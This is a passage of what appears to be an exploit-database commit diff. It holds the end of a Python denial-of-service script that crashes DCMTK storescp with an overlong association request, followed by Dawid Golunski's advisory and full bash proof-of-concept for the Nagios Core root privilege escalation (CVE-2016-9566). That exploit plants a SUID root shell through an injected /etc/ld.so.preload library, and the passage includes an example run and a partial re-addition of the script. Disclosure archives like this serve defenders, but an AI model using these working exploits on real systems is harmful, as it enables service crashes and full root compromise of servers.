||||
# (lldb) re r
|
||||
# General Purpose Registers:
|
||||
# rax = 0x000000010380001b
|
||||
# rbx = 0x0000000000000000
|
||||
# rcx = 0x00000001002d40f0 vtable for log4cplus::spi::AppenderAttachable + 16
|
||||
# rdx = 0x0000000000000010
|
||||
# rdi = 0x00007fff5fbf78a0
|
||||
# rsi = 0x3f7bc30000000000
|
||||
# rbp = 0x00007fff5fbf7b30
|
||||
# rsp = 0x00007fff5fbf7030
|
||||
# r8 = 0x0000000100733918
|
||||
# r9 = 0x00000000003e4b46
|
||||
# r10 = 0x0000000100733920
|
||||
# r11 = 0xffffffff00000000
|
||||
# r12 = 0x0000000000000000
|
||||
# r13 = 0x0000000000000000
|
||||
# r14 = 0x0000000000000000
|
||||
# r15 = 0x0000000000000000
|
||||
# rip = 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
|
||||
# rflags = 0x0000000000010246
|
||||
# cs = 0x000000000000002b
|
||||
# fs = 0x0000000000000000
|
||||
# gs = 0x0000000000000000
|
||||
#
|
||||
# (lldb)
|
||||
#
|
||||
# =====
|
||||
#
|
||||
# ➜ bin ./storescp -d 4242
|
||||
# D: $dcmtk: storescp v3.6.0 2011-01-06 $
|
||||
# D:
|
||||
# D: setting network receive timeout to 60 seconds
|
||||
# D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header
|
||||
# D: Only dumping 512 bytes.
|
||||
# D: 01 00 00 00 80 71 00 01 00 00 4f 52 54 48 41 4e
|
||||
# D: 43 20 20 20 20 20 20 20 20 20 54 45 53 54 53 55
|
||||
# D: 49 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
# D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
# D: 00 00 00 00 00 00 00 00 00 00 10 00 00 15 31 2e
|
||||
# D: 32 2e 38 34 30 2e 31 30 30 30 38 2e 33 2e 31 2e
|
||||
# D: 31 2e 31 20 00 80 00 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
|
||||
# D:
|
||||
# D: Parsing an A-ASSOCIATE PDU
|
||||
# [1] 25553 segmentation fault ./storescp -d 4242
|
||||
# ➜ bin
|
||||
#
|
||||
# ---------------------------------------------------------------------------------
|
||||
#
|
||||
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
|
||||
# Microsoft Windows 7 Ultimate SP1 (EN)
|
||||
# MacOS X 10.12.2 Sierra
|
||||
# Linux Ubuntu 14.04.5
|
||||
# FreeBSD 10.3
|
||||
#
|
||||
#
|
||||
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
# @zeroscience
|
||||
#
|
||||
#
|
||||
# Advisory ID: ZSL-2016-5384
|
||||
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php
|
||||
#
|
||||
#
|
||||
# 22.11.2016
|
||||
#
|
||||
|
||||
|
||||
import socket, sys
|
||||
|
||||
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
|
||||
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
|
||||
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
|
||||
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
|
||||
'\x31\x20\x00\x80\x00')
|
||||
|
||||
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
|
||||
'\x52\x00\x00\x00')
|
||||
|
||||
buffer = '\x41\x42\x43\x44' * 10000
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
|
||||
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
|
||||
sys.exit(0)
|
||||
|
||||
host = sys.argv[1]
|
||||
port = int(sys.argv[2])
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
connect = s.connect((host, port))
|
||||
s.settimeout(251)
|
||||
s.send(hello+buffer+bye)
|
||||
s.close
|
|
@ -1,495 +0,0 @@
|
|||
'''
|
||||
Source: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
|
||||
=============================================
|
||||
- Discovered by: Dawid Golunski
|
||||
- dawid[at]legalhackers.com
|
||||
- https://legalhackers.com
|
||||
|
||||
- CVE-2016-9566
|
||||
- Release date: 15.12.2016
|
||||
- Revision 1.0
|
||||
- Severity: High
|
||||
=============================================
|
||||
|
||||
|
||||
I. VULNERABILITY
|
||||
-------------------------
|
||||
|
||||
Nagios Core < 4.2.4 - Root Privilege Escalation
|
||||
|
||||
|
||||
II. BACKGROUND
|
||||
-------------------------
|
||||
|
||||
"Nagios Is The Industry Standard In IT Infrastructure Monitoring
|
||||
|
||||
Achieve instant awareness of IT infrastructure problems, so downtime doesn't
|
||||
adversely affect your business.
|
||||
|
||||
Nagios offers complete monitoring and alerting for servers, switches,
|
||||
applications, and services."
|
||||
|
||||
https://www.nagios.org/
|
||||
|
||||
|
||||
III. INTRODUCTION
|
||||
-------------------------
|
||||
|
||||
Nagios Core daemon in versions below 4.2.4 was found to perform unsafe
|
||||
operations when handling the log file. This could be exploited by
|
||||
malicious local attackers to escalate their privileges from 'nagios' system user,
|
||||
or from a user belonging to 'nagios' group, to root.
|
||||
The exploit could enable the attackers to fully compromise the system on which a
|
||||
vulnerable Nagios version was installed.
|
||||
|
||||
To obtain the necessary level of access, the attackers could use another
|
||||
Nagios vulnerability discovered by the author of this advisory - CVE-2016-9565
|
||||
which has been linked in the references.
|
||||
|
||||
IV. DESCRIPTION
|
||||
-------------------------
|
||||
|
||||
Default installation of Nagios Core creates the log directory with the
|
||||
following permissions:
|
||||
|
||||
drwxrwsr-x 5 nagios nagios
|
||||
|
||||
Nagios daemon was found to open the log file before dropping its root
|
||||
privileges on startup:
|
||||
|
||||
8148 open("/usr/local/nagios/var/nagios.log",
|
||||
O_RDWR|O_CREAT|O_APPEND, 0666) = 4
|
||||
8148 fcntl(4, F_SETFD, FD_CLOEXEC) = 0
|
||||
8148 fchown(4, 1001, 1001) = 0
|
||||
8148 getegid() = 0
|
||||
8148 setgid(1001) = 0
|
||||
8148 geteuid() = 0
|
||||
[...]
|
||||
|
||||
If an attacker managed to gain access to an account of 'nagios' or any
|
||||
other account belonging to the 'nagios' group, they would be able to
|
||||
replace the log file with a symlink to an arbitrary file on the system.
|
||||
|
||||
This vulnerability could be used by an attacker to escalate their privileges
|
||||
from nagios user/group to root for example by creating a malicious
|
||||
/etc/ld.so.preload file.
|
||||
|
||||
The file would be created with the following nagios permissions due to
|
||||
the fchown operation shown above:
|
||||
|
||||
-rw-r--r-- 1 nagios nagios 950 Dec 10 11:56 /etc/ld.so.preload
|
||||
|
||||
which would enable write access to the file for the 'nagios' user
|
||||
but not the 'nagios' group.
|
||||
|
||||
|
||||
Gaining write access to ld.so.preload as 'nagios' group
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
If the attacker managed to exploit the CVE-2016-9565 vulnerability explained at:
|
||||
|
||||
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
|
||||
https://www.exploit-db.com/exploits/40920
|
||||
|
||||
they would gain access to www-data account belonging to 'nagios' group in case
|
||||
of a default Nagios install following the official Nagios setup guide:
|
||||
|
||||
https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf
|
||||
|
||||
This would not be enough to write to ld.so.preload file as 'nagios' group is
|
||||
only allowed to read the log file.
|
||||
|
||||
Attackers with access to 'nagios' group could however bypass the lack of
|
||||
write privilege by writing to Nagios external command pipe (nagios.cmd) which
|
||||
is writable by 'nagios' group by default:
|
||||
|
||||
prw-rw---- 1 nagios nagios 0 Dec 10 19:39 nagios.cmd
|
||||
|
||||
The Nagios command pipe allows to communicate with Nagios daemon.
|
||||
|
||||
By sending an invalid command to the pipe, the attacker could bypass the lack
|
||||
of write permission and inject data to the log file (pointing to ld.so.preload).
|
||||
|
||||
For example, by running the command:
|
||||
|
||||
/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so \n" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd
|
||||
|
||||
Nagios daemon would append the following line to the log file:
|
||||
|
||||
[1481439996] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so
|
||||
|
||||
which would be enough to load a malicious library and escalate the privileges
|
||||
from a www-data user (belonging to 'nagios' group) to root upon a Nagios restart.
|
||||
|
||||
Forcing restart of Nagios daemon
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
Attackers could speed up the restart by using the Nagios command pipe once again
|
||||
to send a SHUTDOWN_PROGRAM command as follows:
|
||||
|
||||
/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd
|
||||
|
||||
|
||||
V. PROOF OF CONCEPT EXPLOIT
|
||||
-------------------------
|
||||
|
||||
-----------[ nagios-root-privesc.sh ]--------------
|
||||
'''
|
||||
|
||||
#!/bin/bash
|
||||
#
|
||||
# Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit
|
||||
# nagios-root-privesc.sh (ver. 1.0)
|
||||
#
|
||||
# CVE-2016-9566
|
||||
#
|
||||
# Discovered and coded by:
|
||||
#
|
||||
# Dawid Golunski
|
||||
# dawid[at]legalhackers.com
|
||||
#
|
||||
# https://legalhackers.com
|
||||
#
|
||||
# Follow https://twitter.com/dawid_golunski for updates on this advisory
|
||||
#
|
||||
#
|
||||
# [Info]
|
||||
#
|
||||
# This PoC exploit allows privilege escalation from 'nagios' system account,
|
||||
# or an account belonging to 'nagios' group, to root (root shell).
|
||||
# Attackers could obtain such an account via exploiting another vulnerability,
|
||||
# e.g. CVE-2016-9565 linked below.
|
||||
#
|
||||
# [Exploit usage]
|
||||
#
|
||||
# ./nagios-root-privesc.sh path_to_nagios.log
|
||||
#
|
||||
#
|
||||
# See the full advisory for details at:
|
||||
# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
#
|
||||
# Video PoC:
|
||||
# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
#
|
||||
# CVE-2016-9565:
|
||||
# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
|
||||
#
|
||||
# Disclaimer:
|
||||
# For testing purposes only. Do no harm.
|
||||
#
|
||||
|
||||
BACKDOORSH="/bin/bash"
|
||||
BACKDOORPATH="/tmp/nagiosrootsh"
|
||||
PRIVESCLIB="/tmp/nagios_privesc_lib.so"
|
||||
PRIVESCSRC="/tmp/nagios_privesc_lib.c"
|
||||
SUIDBIN="/usr/bin/sudo"
|
||||
commandfile='/usr/local/nagios/var/rw/nagios.cmd'
|
||||
|
||||
function cleanexit {
|
||||
# Cleanup
|
||||
echo -e "\n[+] Cleaning up..."
|
||||
rm -f $PRIVESCSRC
|
||||
rm -f $PRIVESCLIB
|
||||
rm -f $ERRORLOG
|
||||
touch $ERRORLOG
|
||||
if [ -f /etc/ld.so.preload ]; then
|
||||
echo -n > /etc/ld.so.preload
|
||||
fi
|
||||
echo -e "\n[+] Job done. Exiting with code $1 \n"
|
||||
exit $1
|
||||
}
|
||||
|
||||
function ctrl_c() {
|
||||
echo -e "\n[+] Ctrl+C pressed"
|
||||
cleanexit 0
|
||||
}
|
||||
|
||||
#intro
|
||||
|
||||
echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n"
|
||||
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
|
||||
|
||||
# Priv check
|
||||
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
|
||||
id | grep -q nagios
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# Set target paths
|
||||
ERRORLOG="$1"
|
||||
if [ ! -f "$ERRORLOG" ]; then
|
||||
echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n"
|
||||
echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# [ Exploitation ]
|
||||
|
||||
trap ctrl_c INT
|
||||
# Compile privesc preload library
|
||||
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
|
||||
cat <<_solibeof_>$PRIVESCSRC
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
uid_t geteuid(void) {
|
||||
static uid_t (*old_geteuid)();
|
||||
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
|
||||
if ( old_geteuid() == 0 ) {
|
||||
chown("$BACKDOORPATH", 0, 0);
|
||||
chmod("$BACKDOORPATH", 04777);
|
||||
unlink("/etc/ld.so.preload");
|
||||
}
|
||||
return old_geteuid();
|
||||
}
|
||||
_solibeof_
|
||||
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
|
||||
cleanexit 2;
|
||||
fi
|
||||
|
||||
|
||||
# Prepare backdoor shell
|
||||
cp $BACKDOORSH $BACKDOORPATH
|
||||
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
|
||||
|
||||
# Safety check
|
||||
if [ -f /etc/ld.so.preload ]; then
|
||||
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# Symlink the Nagios log file
|
||||
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
|
||||
cleanexit 3
|
||||
fi
|
||||
echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"
|
||||
|
||||
{
|
||||
# Wait for Nagios to get restarted
|
||||
echo -ne "\n[+] Waiting for Nagios service to get restarted...\n"
|
||||
echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] "
|
||||
read THE_ANSWER
|
||||
if [ "$THE_ANSWER" = "y" ]; then
|
||||
/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > $commandfile
|
||||
fi
|
||||
sleep 3s
|
||||
ps aux | grep -v grep | grep -i 'bin/nagios'
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n"
|
||||
fi
|
||||
while :; do
|
||||
sleep 1 2>/dev/null
|
||||
if [ -f /etc/ld.so.preload ]; then
|
||||
rm -f $ERRORLOG
|
||||
break;
|
||||
fi
|
||||
done
|
||||
|
||||
echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n`ls -l /etc/ld.so.preload`"
|
||||
|
||||
# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:
|
||||
# -rw-r--r-- 1 nagios nagios
|
||||
# Only 'nagios' user can write to it, but 'nagios' group can not.
|
||||
# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.
|
||||
# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe
|
||||
# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will
|
||||
# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)
|
||||
|
||||
sleep 3s # Wait for Nagios to create the nagios.cmd pipe
|
||||
if [ ! -p $commandfile ]; then
|
||||
echo -e "\n[!] Nagios command pipe $commandfile does not exist!"
|
||||
exit 2
|
||||
fi
|
||||
echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload"
|
||||
now=`date +%s`
|
||||
/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile
|
||||
sleep 1s
|
||||
grep -q "$PRIVESCLIB" /etc/ld.so.preload
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`"
|
||||
else
|
||||
echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload"
|
||||
exit 2
|
||||
fi
|
||||
|
||||
} 2>/dev/null
|
||||
|
||||
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
|
||||
echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary"
|
||||
sudo 2>/dev/null >/dev/null
|
||||
|
||||
# Check for the rootshell
|
||||
ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
|
||||
echo -e "\n\033[94mGot root via Nagios!\033[0m"
|
||||
else
|
||||
echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`"
|
||||
cleanexit 2
|
||||
fi
|
||||
|
||||
# Use the rootshell to perform cleanup that requires root privileges
|
||||
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
|
||||
rm -f $ERRORLOG
|
||||
echo > $ERRORLOG
|
||||
|
||||
# Execute the rootshell
|
||||
echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n"
|
||||
$BACKDOORPATH -p -i
|
||||
|
||||
# Job done.
|
||||
cleanexit 0
|
||||
|
||||
'''
|
||||
---------------------------------------------------
|
||||
|
||||
|
||||
Example run
|
||||
~~~~~~~~~~~~~
|
||||
|
||||
www-data@debjessie:/tmp$ ./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log
|
||||
./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log
|
||||
|
||||
Nagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566)
|
||||
nagios-root-privesc.sh (ver. 1.0)
|
||||
|
||||
Discovered and coded by:
|
||||
|
||||
Dawid Golunski
|
||||
https://legalhackers.com
|
||||
|
||||
[+] Starting the exploit as:
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)
|
||||
|
||||
[+] Compiling the privesc shared library (/tmp/nagios_privesc_lib.c)
|
||||
|
||||
[+] Backdoor/low-priv shell installed at:
|
||||
-rwxrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh
|
||||
|
||||
[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at:
|
||||
lrwxrwxrwx 1 www-data nagios 18 Dec 11 08:44 /usr/local/nagios/var/nagios.log -> /etc/ld.so.preload
|
||||
|
||||
[+] Waiting for Nagios service to get restarted...
|
||||
Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] y
|
||||
|
||||
[+] Nagios stopped. Shouldn't take long now... ;)
|
||||
|
||||
[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges:
|
||||
-rw-r--r-- 1 nagios nagios 871 Dec 11 08:44 /etc/ld.so.preload
|
||||
|
||||
[+] Injecting /tmp/nagios_privesc_lib.so via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload
|
||||
|
||||
[+] The /etc/ld.so.preload file now contains:
|
||||
[1481463869] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so
|
||||
|
||||
[+] Triggering privesc code from /tmp/nagios_privesc_lib.so by executing /usr/bin/sudo SUID binary
|
||||
|
||||
[+] Rootshell got assigned root SUID perms at:
|
||||
-rwsrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh
|
||||
|
||||
Got root via Nagios!
|
||||
|
||||
[+] Nagios pwned. Spawning the rootshell /tmp/nagiosrootsh now
|
||||
|
||||
nagiosrootsh-4.3# exit
|
||||
exit
|
||||
|
||||
[+] Cleaning up...
|
||||
|
||||
[+] Job done. Exiting with code 0
|
||||
|
||||
|
||||
|
||||
Video PoC:
|
||||
~~~~~~~~~~~~~
|
||||
|
||||
https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
|
||||
|
||||
|
||||
VI. BUSINESS IMPACT
|
||||
-------------------------
|
||||
|
||||
An attacker who has managed to gain access to 'nagios' account, or an account
|
||||
belonging to 'nagios' group (which is the case in the CVE-2016-9565 scenario)
|
||||
to escalate their privileges to root and fully compromise the Nagios monitoring
|
||||
server.
|
||||
|
||||
|
||||
VII. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
|
||||
Nagios Core < 4.2.4
|
||||
|
||||
Vendor notice:
|
||||
https://www.nagios.org/projects/nagios-core/history/4x/
|
||||
|
||||
VIII. SOLUTION
|
||||
-------------------------
|
||||
|
||||
Vendor received this advisory in advance and released a security
|
||||
release of Nagios 4.2.4 to address this vulnerability.
|
||||
|
||||
IX. REFERENCES
|
||||
-------------------------
|
||||
|
||||
https://legalhackers.com
|
||||
|
||||
This advisory:
|
||||
https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
|
||||
Exploit code:
|
||||
https://legalhackers.com/exploits/CVE-2016-9566/nagios-root-privesc.sh
|
||||
|
||||
CVE-2016-9566:
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9566
|
||||
|
||||
Video PoC:
|
||||
https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
|
||||
Nagios Curl Command Injection / Code Exec with 'nagios' group (CVE-2016-9565):
|
||||
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
|
||||
|
||||
Nagios / Vendor links:
|
||||
|
||||
https://www.nagios.org/
|
||||
|
||||
CVE-2016-9566:
|
||||
https://www.nagios.org/projects/nagios-core/history/4x/
|
||||
|
||||
https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf
|
||||
|
||||
X. CREDITS
|
||||
-------------------------
|
||||
|
||||
The vulnerability has been discovered by Dawid Golunski
|
||||
dawid (at) legalhackers (dot) com
|
||||
|
||||
https://legalhackers.com
|
||||
|
||||
XI. REVISION HISTORY
|
||||
-------------------------
|
||||
|
||||
15.12.2016 - Advisory released
|
||||
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
|
||||
The information contained within this advisory is supplied "as-is" with
|
||||
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||
responsibility for any damage caused by the use or misuse of this information.
|
||||
'''
|
217
platforms/linux/local/40921.sh
Executable file
217
platforms/linux/local/40921.sh
Executable file
|
@ -0,0 +1,217 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Source: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
#
|
||||
# Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit
|
||||
# nagios-root-privesc.sh (ver. 1.0)
|
||||
#
|
||||
# CVE-2016-9566
|
||||
#
|
||||
# Discovered and coded by:
|
||||
#
|
||||
# Dawid Golunski
|
||||
# dawid[at]legalhackers.com
|
||||
#
|
||||
# https://legalhackers.com
|
||||
#
|
||||
# Follow https://twitter.com/dawid_golunski for updates on this advisory
|
||||
#
|
||||
#
|
||||
# [Info]
|
||||
#
|
||||
# This PoC exploit allows privilege escalation from 'nagios' system account,
|
||||
# or an account belonging to 'nagios' group, to root (root shell).
|
||||
# Attackers could obtain such an account via exploiting another vulnerability,
|
||||
# e.g. CVE-2016-9565 linked below.
|
||||
#
|
||||
# [Exploit usage]
|
||||
#
|
||||
# ./nagios-root-privesc.sh path_to_nagios.log
|
||||
#
|
||||
#
|
||||
# See the full advisory for details at:
|
||||
# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
#
|
||||
# Video PoC:
|
||||
# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
#
|
||||
# CVE-2016-9565:
|
||||
# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
|
||||
#
|
||||
# Disclaimer:
|
||||
# For testing purposes only. Do no harm.
|
||||
#
|
||||
|
||||
BACKDOORSH="/bin/bash"
|
||||
BACKDOORPATH="/tmp/nagiosrootsh"
|
||||
PRIVESCLIB="/tmp/nagios_privesc_lib.so"
|
||||
PRIVESCSRC="/tmp/nagios_privesc_lib.c"
|
||||
SUIDBIN="/usr/bin/sudo"
|
||||
commandfile='/usr/local/nagios/var/rw/nagios.cmd'
|
||||
|
||||
function cleanexit {
|
||||
# Cleanup
|
||||
echo -e "\n[+] Cleaning up..."
|
||||
rm -f $PRIVESCSRC
|
||||
rm -f $PRIVESCLIB
|
||||
rm -f $ERRORLOG
|
||||
touch $ERRORLOG
|
||||
if [ -f /etc/ld.so.preload ]; then
|
||||
echo -n > /etc/ld.so.preload
|
||||
fi
|
||||
echo -e "\n[+] Job done. Exiting with code $1 \n"
|
||||
exit $1
|
||||
}
|
||||
|
||||
function ctrl_c() {
|
||||
echo -e "\n[+] Ctrl+C pressed"
|
||||
cleanexit 0
|
||||
}
|
||||
|
||||
#intro
|
||||
|
||||
echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n"
|
||||
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
|
||||
|
||||
# Priv check
|
||||
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
|
||||
id | grep -q nagios
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# Set target paths
|
||||
ERRORLOG="$1"
|
||||
if [ ! -f "$ERRORLOG" ]; then
|
||||
echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n"
|
||||
echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# [ Exploitation ]
|
||||
|
||||
trap ctrl_c INT
|
||||
# Compile privesc preload library
|
||||
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
|
||||
cat <<_solibeof_>$PRIVESCSRC
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
